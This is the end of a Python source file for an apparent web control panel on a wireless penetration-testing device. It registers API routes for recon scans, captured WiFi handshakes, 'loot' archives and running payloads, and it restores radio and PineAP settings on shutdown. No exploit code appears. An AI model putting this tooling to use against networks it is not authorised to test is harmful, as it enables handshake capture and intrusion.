ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/csv', h_recon_archive_scan_download_csv)
ROUTER.add('GET', r'/api/recon/archives/([^/]+)/scans/(\d+)/download/html', h_recon_archive_scan_download_html)
ROUTER.add('GET', r'/api/pineap/handshakes/location', h_handshakes_location)
ROUTER.add('DELETE', r'/api/pineap/handshakes/all', h_handshakes_delete_all)
ROUTER.add('GET', r'/api/pineap/handshakes', h_handshakes_get)
ROUTER.add('GET', r'/api/pineap/handshakes/([^/]+)', h_handshake_file)
ROUTER.add('DELETE', r'/api/pineap/handshakes', h_handshakes_delete)
ROUTER.add('GET', r'/api/loot/zip', h_loot_zip)
ROUTER.add('POST', r'/api/loot/archive', h_loot_archive)
ROUTER.add('GET', r'/api/payloads/index', h_payloads_index)
ROUTER.add('GET', r'/api/payloads/installed', h_payloads_installed)
ROUTER.add('POST', r'/api/payloads/refresh', h_payloads_refresh)
ROUTER.add('POST', r'/api/payloads/install', h_payloads_install)
ROUTER.add('POST', r'/api/payloads/remove', h_payloads_remove)
ROUTER.add('GET', r'/api/payloads/runs', h_payloads_runs)
ROUTER.add('POST', r'/api/payloads/run', h_payloads_run)
ROUTER.add('POST', r'/api/payloads/stop', h_payloads_stop)
ROUTER.add('GET', r'/api/logging/system', h_logging_system)
ROUTER.add('GET', r'/api/logging/pineap', h_logging_pineap)
ROUTER.add('GET', r'/api/settings/hostname', h_settings_hostname)
ROUTER.add('POST', r'/api/settings/hostname', h_settings_hostname)
ROUTER.add('POST', r'/api/settings/password', h_settings_password)
ROUTER.add('GET', r'/api/settings/ntp', h_settings_ntp)
ROUTER.add('POST', r'/api/settings/ntp', h_settings_ntp)
ROUTER.add('GET', r'/api/settings/service', h_settings_service)
ROUTER.add('GET', r'/api/settings/timezone', h_settings_timezone)
ROUTER.add('POST', r'/api/settings/timezone', h_settings_timezone)
ROUTER.add('POST', r'/api/settings/synctime', h_settings_sync_time)
ROUTER.add('GET', r'/api/settings/resources', h_settings_resources)
ROUTER.add('GET', r'/api/settings/usb', h_settings_usb)
ROUTER.add('GET', r'/api/settings/network', h_settings_network)
ROUTER.add('GET', r'/api/settings/wifi/management', h_settings_management_wifi)
ROUTER.add('POST', r'/api/settings/wifi/management', h_settings_management_wifi)
ROUTER.add('GET', r'/api/settings/wifi/client', h_settings_wifi_client)
ROUTER.add('POST', r'/api/settings/wifi/client/scan', h_settings_wifi_client_scan)
ROUTER.add('POST', r'/api/settings/wifi/client/connect', h_settings_wifi_client_connect)
ROUTER.add('POST', r'/api/settings/wifi/client/disconnect', h_settings_wifi_client_disconnect)
ROUTER.add('POST', r'/api/settings/wifi/client/route', h_settings_wifi_client_route)
ROUTER.add('GET', r'/api/settings/hardware', h_settings_hardware)
ROUTER.add('POST', r'/api/settings/hardware', h_settings_hardware)
ROUTER.add('GET', r'/api/settings/advanced', h_settings_advanced)
ROUTER.add('POST', r'/api/settings/advanced', h_settings_advanced)
ROUTER.add('GET', r'/api/settings/internet', h_settings_internet)
ROUTER.add('POST', r'/api/settings/reboot', h_settings_reboot)
ROUTER.add('GET', r'/api/settings/diagnostics', h_settings_diagnostics)
def _daemon_ws_connect(path):
"""Open an RFC6455 WS to the daemon. Returns (sock, error)."""
import socket as _socket
host = DAEMON_BASE.replace('http://', '').split(':')
sock = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host[0], int(host[1])))
key = base64.b64encode(os.urandom(16)).decode('ascii')
sess = load_session()
cookie = 'AUTH_%s=%s' % (sess.get('serverid', ''), sess.get('token', ''))
req = ('GET %s HTTP/1.1\r\n'
'Host: %s\r\n'
'Upgrade: websocket\r\n'
'Connection: Upgrade\r\n'
'Sec-WebSocket-Key: %s\r\n'
'Sec-WebSocket-Version: 13\r\n'
'Cookie: %s\r\n'
'\r\n') % (path, DAEMON_BASE.replace('http://', ''), key, cookie)
sock.sendall(req.encode('ascii'))
resp = b''
while b'\r\n\r\n' not in resp:
chunk = sock.recv(4096)
if not chunk:
sock.close()
return None, 'daemon closed during handshake'
resp += chunk
if b' 101 ' not in resp.split(b'\r\n', 1)[0]:
sock.close()
return None, resp.split(b'\r\n', 1)[0].decode('ascii', 'replace')
return sock, None
def _handle_conn(conn, addr):
try:
conn.settimeout(60)
h = PagerHandler(conn, addr)
while not h.close_connection:
if not h.read_request():
break
h._dispatch()
except Exception:
pass
finally:
try:
conn.close()
except OSError:
pass
def _recon_watchdog_loop():
while not LIVE_STOP.is_set():
LIVE_STOP.wait(1)
_recon_watchdog_tick()
def _request_shutdown(signum=None, frame=None):
LIVE_STOP.set()
HEALTH_STOP.set()
_recon_hopper_stop.set()
def _uci_iface_present(name):
rc, out, err = device_run(['uci', '-q', 'get', 'wireless.%s' % name])
return rc == 0
def _stop_overlay_runtime():
"""Stop Mark VIII-only processes. Does not rewrite Pager UCI."""
try:
_recon_hopper_stop.set()
except Exception:
pass
_recon_scan_state['active'] = False
try:
_restore_dummy_sta()
except Exception:
pass
for iface in ('wlan0mon', 'wlan1mon'):
pidfile = '/tmp/mk8_capture_%s.pid' % iface
try:
with open(pidfile) as handle:
pid = int(handle.read().strip())
device_run(['kill', str(pid)], timeout=5)
os.unlink(pidfile)
except (OSError, ValueError):
pass
try:
_disable_enterprise_ap(resume_hop=False)
except Exception:
pass
def _restore_wifi_iface(name, wanted):
device_run(['uci', 'delete', 'wireless.%s' % name])
if not wanted:
return
device_run(['uci', 'set', 'wireless.%s=wifi-iface' % name])
for key, value in wanted.items():
device_run(['uci', 'set', 'wireless.%s.%s=%s' % (name, key, value)])
def capture_pager_snapshot(force=False):
"""Record Pager-owned overlay UCI so shutdown can restore it.
A crash/respawn must keep the original snapshot. Recapture only when
forced (fresh start after a clean restore, or an explicit release).
"""
if not force:
existing = load_pager_snapshot()
if existing:
return existing
snap = {'taken': time.time(), 'uci': {}, 'ifaces': {}}
for name in PAGER_SNAPSHOT_IFACES:
snap['ifaces'][name] = _uci_wifi_iface(name) if _uci_iface_present(name) else None
for key in PAGER_SNAPSHOT_UCI:
snap['uci'][key] = _uci_get(key)
directory = os.path.dirname(PAGER_SNAPSHOT_FILE) or '.'
try:
os.makedirs(directory, exist_ok=True)
except OSError:
pass
tmp = PAGER_SNAPSHOT_FILE + '.tmp'
with open(tmp, 'w') as handle:
json.dump(snap, handle)
os.replace(tmp, PAGER_SNAPSHOT_FILE)
return snap
def load_pager_snapshot():
try:
with open(PAGER_SNAPSHOT_FILE) as handle:
data = json.load(handle)
return data if isinstance(data, dict) else None
except (OSError, ValueError):
return None
def restore_pager_truth(resnapshot=False):
"""Make the Pager UI the source of truth for overlay radio/PineAP keys.
Daemon-written PineAP (SSID pool contents, karma, filter entries) is left
alone. Mark VIII-only overlays (radio1 APs, hop pause, enterprise iface,
dummy_radio0) revert to the snapshot taken when Mark VIII started.
"""
_stop_overlay_runtime()
snap = load_pager_snapshot()
if not snap:
return {'ok': True, 'restored': False, 'reason': 'no snapshot'}
wireless_dirty = False
pineapd_dirty = False
for name in PAGER_SNAPSHOT_IFACES:
wanted = (snap.get('ifaces') or {}).get(name)
present = _uci_iface_present(name)
current = _uci_wifi_iface(name) if present else None
if current == wanted:
continue
_restore_wifi_iface(name, wanted)
wireless_dirty = True
for key, wanted in (snap.get('uci') or {}).items():
current = _uci_get(key)
if current == wanted:
continue
if wanted is None:
device_run(['uci', 'delete', key])
else:
device_run(['uci', 'set', '%s=%s' % (key, wanted)])
if key.startswith('wireless.'):
wireless_dirty = True
elif key.startswith('pineapd.'):
pineapd_dirty = True
if wireless_dirty:
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'], timeout=45)
if pineapd_dirty:
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'], timeout=30)
try:
os.unlink(PINEAP_STATE_FILE)
except OSError:
pass
if resnapshot:
capture_pager_snapshot(force=True)
else:
try:
os.unlink(PAGER_SNAPSHOT_FILE)
except OSError:
pass
return {
'ok': True,
'restored': True,
'wireless': wireless_dirty,
'pineapd': pineapd_dirty,
'resnapshot': bool(resnapshot),
}
def h_mode_get(ctx):
snap = load_pager_snapshot()
return 200, {
'markviii': True,
'pager_port': 1471,
'snapshot': bool(snap),
'taken': (snap or {}).get('taken'),
'overlay': {
'radio1_ap': _radio1_ap_active(),
'enterprise': _ent_running(),
'recon_hopper': bool(_recon_hop_state.get('active')),
},
'note': 'Stopping Mark VIII restores Pager-owned radio/PineAP overlays; '
'the Pager UI at :1471 is then the source of truth.',
}
def h_mode_release(ctx):
return 200, restore_pager_truth(resnapshot=True)
ROUTER.add('GET', r'/api/mode', h_mode_get)
ROUTER.add('POST', r'/api/mode/release', h_mode_release)
ROUTER.add('GET', r'/api/rfplan', h_rfplan_get)
ROUTER.add('POST', r'/api/rfplan/role', h_rfplan_post)
def serve():
import mk8_gate
mk8_gate.ENABLED = True
LIVE_STOP.clear()
HEALTH_STOP.clear()
_recon_hopper_stop.set()
capture_pager_snapshot()
startup_env_check()
threading.Thread(target=live_loop, daemon=True).start()
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
start_health_monitor()
if os.environ.get('PAGER_WEBUI_BOOT') == '1':
_enterprise_boot_recover()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen(16)
sock.settimeout(1)
try:
while not LIVE_STOP.is_set():
try:
conn, addr = sock.accept()
except socket.timeout:
continue
threading.Thread(
target=_handle_conn, args=(conn, addr), daemon=True).start()
finally:
_request_shutdown()
try:
restore_pager_truth(resnapshot=False)
except Exception:
pass
sock.close()
def env_check_cli():
"""Run the environment check and print a verbose report to stdout.
Returns the process exit code (0 = pass/warn, 1 = core failure)."""
report = env_check()
_print_env_report(report)
counts = {k: _env_count(report, k) for k in ('pass', 'fixed', 'warn', 'fail')}
print('ENVIRONMENT CHECK: %s (%d pass, %d fixed, %d warn, %d fail)' % (
ENV_CHECK_STATE['overall'].upper(), counts['pass'], counts['fixed'],
counts['warn'], counts['fail']))
return 0 if ENV_CHECK_STATE['overall'] != 'fail' else 1
def _print_env_report(report, flush=False):
for step in report:
line = '[%s] %s' % (step['ok'].upper(), step['detail'])
if step.get('action'):
line += ' (%s)' % step['action']
print(line, flush=flush)
if __name__ == '__main__':
if '--env-check' in sys.argv:
sys.exit(env_check_cli())
if '--release-pager' in sys.argv:
result = restore_pager_truth(resnapshot=False)
print(json.dumps(result))
sys.exit(0 if result.get('ok') else 1)
if '--reconcile' in sys.argv:
try:
import mk8_guard
print(json.dumps(mk8_guard.reconcile()))
except Exception as exc: # boot must never fail here
print(json.dumps({'error': str(exc)}))
sys.exit(0)
if '--rollback-snapshot' in sys.argv:
import mk8_gate
mk8_gate.ENABLED = True
name = sys.argv[sys.argv.index('--rollback-snapshot') + 1]
import mk8_profiles
result = mk8_profiles.restore(name)
device_run(['wifi', 'reload'], timeout=90)
import mk8_events
mk8_events.log_event('rollback', sev='warn',
msg='watchdog restored %s' % name,
meta=result)
print(json.dumps(result))
sys.exit(0)
if '--promote-snapshot' in sys.argv:
import mk8_gate
mk8_gate.ENABLED = True
name = sys.argv[sys.argv.index('--promote-snapshot') + 1]
import mk8_profiles
print(json.dumps({'promoted': mk8_profiles.promote_lastknown_good()}))
sys.exit(0)
signal.signal(signal.SIGTERM, _request_shutdown)
signal.signal(signal.SIGINT, _request_shutdown)
serve()